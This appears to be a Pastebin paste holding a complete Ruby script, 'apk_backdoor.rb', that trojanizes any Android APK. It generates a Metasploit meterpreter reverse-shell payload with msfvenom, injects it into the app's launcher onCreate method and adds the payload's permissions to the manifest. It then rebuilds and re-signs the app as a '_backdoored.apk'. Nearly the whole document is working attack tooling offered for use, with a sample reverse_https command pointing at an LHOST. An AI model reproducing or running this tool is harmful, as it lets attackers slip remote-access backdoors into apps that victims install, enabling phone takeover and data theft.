Guest User

Untitled

a guest
Aug 10th, 2015
1,213
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env ruby
  2. # apk_backdoor.rb
  3. # This script is a POC for injecting metasploit payloads on
  4. # arbitrary APKs.
  5. # Authored by timwr, Jack64
  6. #
  7.  
  8.  
  9. require 'nokogiri'
  10. require 'fileutils'
  11. require 'optparse'
  12.  
  13. # Find the activity thatapk_backdoor.rb is opened when you click the app icon
  14. def findlauncheractivity(amanifest)
  15. package = amanifest.xpath("//manifest").first['package']
  16. activities = amanifest.xpath("//activity|//activity-alias")
  17. for activity in activities
  18. activityname = activity.attribute("name")
  19. category = activity.search('category')
  20. unless category
  21. next
  22. end
  23. for cat in category
  24. categoryname = cat.attribute('name')
  25. if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
  26. activityname = activityname.to_s
  27. unless activityname.start_with?(package)
  28. activityname = package + activityname
  29. end
  30. return activityname
  31. end
  32. end
  33. end
  34. end
  35.  
  36. # If XML parsing of the manifest fails, recursively search
  37. # the smali code for the onCreate() hook and let the user
  38. # pick the injection point
  39. def scrapeFilesForLauncherActivity()
  40. smali_files||=[]
  41. Dir.glob('original/smali*/**/*.smali') do |file|
  42. checkFile=File.read(file)
  43. if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V")
  44. smali_files << file
  45. smalifile = file
  46. activitysmali = checkFile
  47. end
  48. end
  49. i=0
  50. print "[*] Please choose from one of the following:\n"
  51. smali_files.each{|s_file|
  52. print "[+] Hook point ",i,": ",s_file,"\n"
  53. i+=1
  54. }
  55. hook=-1
  56. while (hook < 0 || hook>i)
  57. print "\nHook: "
  58. hook = STDIN.gets.chomp.to_i
  59. end
  60. i=0
  61. smalifile=""
  62. activitysmali=""
  63. smali_files.each{|s_file|
  64. if (i==hook)
  65. checkFile=File.read(s_file)
  66. smalifile=s_file
  67. activitysmali = checkFile
  68. break
  69. end
  70. i+=1
  71. }
  72. return [smalifile,activitysmali]
  73. end
  74.  
  75. def fix_manifest()
  76. payload_permissions=[]
  77.  
  78. #Load payload's permissions
  79. File.open("payload/AndroidManifest.xml","r"){|file|
  80. k=File.read(file)
  81. payload_manifest=Nokogiri::XML(k)
  82. permissions = payload_manifest.xpath("//manifest/uses-permission")
  83. for permission in permissions
  84. name=permission.attribute("name")
  85. payload_permissions << name.to_s
  86. end
  87. # print "#{k}"
  88. }
  89. original_permissions=[]
  90. apk_mani=''
  91.  
  92. #Load original apk's permissions
  93. File.open("original/AndroidManifest.xml","r"){|file2|
  94. k=File.read(file2)
  95. apk_mani=k
  96. original_manifest=Nokogiri::XML(k)
  97. permissions = original_manifest.xpath("//manifest/uses-permission")
  98. for permission in permissions
  99. name=permission.attribute("name")
  100. original_permissions << name.to_s
  101. end
  102. # print "#{k}"
  103. }
  104. #Get permissions that are not in original APK
  105. add_permissions=[]
  106. for permission in payload_permissions
  107. if !(original_permissions.include? permission)
  108. print "[*] Adding #{permission}\n"
  109. add_permissions << permission
  110. end
  111. end
  112. inject=0
  113. new_mani=""
  114. #Inject permissions in original APK's manifest
  115. for line in apk_mani.split("\n")
  116. if (line.include? "uses-permission" and inject==0)
  117. for permission in add_permissions
  118. new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
  119. end
  120. new_mani << line+"\n"
  121. inject=1
  122. else
  123. new_mani << line+"\n"
  124. end
  125. end
  126. File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani }
  127. end
  128.  
  129. apkfile = ARGV[0]
  130. unless(apkfile && File.readable?(apkfile))
  131. puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
  132. puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
  133. exit(1)
  134. end
  135.  
  136. jarsigner = `which jarsigner`
  137. unless(jarsigner && jarsigner.length > 0)
  138. puts "No jarsigner"
  139. exit(1)
  140. end
  141.  
  142. apktool = `which apktool`
  143. unless(apktool && apktool.length > 0)
  144. puts "No apktool"
  145. exit(1)
  146. end
  147.  
  148. apk_v=`apktool`
  149. unless(apk_v.split()[1].include?("v2."))
  150. puts "[-] Apktool version #{apk_v} not supported, please download the latest 2. version from git.\n"
  151. exit(1)
  152. end
  153.  
  154. begin
  155. msfvenom_opts = ARGV[1,ARGV.length]
  156. opts=""
  157. msfvenom_opts.each{|x|
  158. opts+=x
  159. opts+=" "
  160. }
  161. rescue
  162. puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
  163. puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
  164. puts "[-] Error parsing msfvenom options. Exiting.\n"
  165. exit(1)
  166. end
  167.  
  168.  
  169.  
  170. print "[*] Generating msfvenom payload..\n"
  171. res=`msfvenom -f raw #{opts} -o payload.apk 2>&1`
  172. if res.downcase.include?("invalid" || "error")
  173. puts res
  174. exit(1)
  175. end
  176.  
  177. print "[*] Signing payload..\n"
  178. `jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey`
  179.  
  180. `rm -rf original`
  181. `rm -rf payload`
  182.  
  183. `cp #{apkfile} original.apk`
  184.  
  185. print "[*] Decompiling orignal APK..\n"
  186. `apktool d $(pwd)/original.apk -o $(pwd)/original`
  187. print "[*] Decompiling payload APK..\n"
  188. `apktool d $(pwd)/payload.apk -o $(pwd)/payload`
  189.  
  190. f = File.open("original/AndroidManifest.xml")
  191. amanifest = Nokogiri::XML(f)
  192. f.close
  193.  
  194. print "[*] Locating onCreate() hook..\n"
  195.  
  196.  
  197. launcheractivity = findlauncheractivity(amanifest)
  198. smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali'
  199. begin
  200. activitysmali = File.read(smalifile)
  201. rescue Errno::ENOENT
  202. print "[!] Unable to find correct hook automatically\n"
  203. begin
  204. results=scrapeFilesForLauncherActivity()
  205. smalifile=results[0]
  206. activitysmali=results[1]
  207. rescue
  208. puts "[-] Error finding launcher activity. Exiting"
  209. exit(1)
  210. end
  211. end
  212.  
  213. print "[*] Copying payload files..\n"
  214. FileUtils.mkdir_p('original/smali/com/metasploit/stage/')
  215. FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/'
  216. activitycreate = ';->onCreate(Landroid/os/Bundle;)V'
  217. payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
  218. hookedsmali = activitysmali.gsub(activitycreate, payloadhook)
  219. print "[*] Loading ",smalifile," and injecting payload..\n"
  220. File.open(smalifile, "w") {|file| file.puts hookedsmali }
  221. injected_apk=apkfile.split(".")[0]
  222. injected_apk+="_backdoored.apk"
  223.  
  224. print "[*] Poisoning the manifest with meterpreter permissions..\n"
  225. fix_manifest()
  226.  
  227. print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n"
  228. `apktool b -o $(pwd)/#{injected_apk} $(pwd)/original`
  229. print "[*] Signing #{injected_apk} ..\n"
  230. `jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey`
  231.  
  232. puts "[+] Infected file #{injected_apk} ready.\n"
RAW Paste Data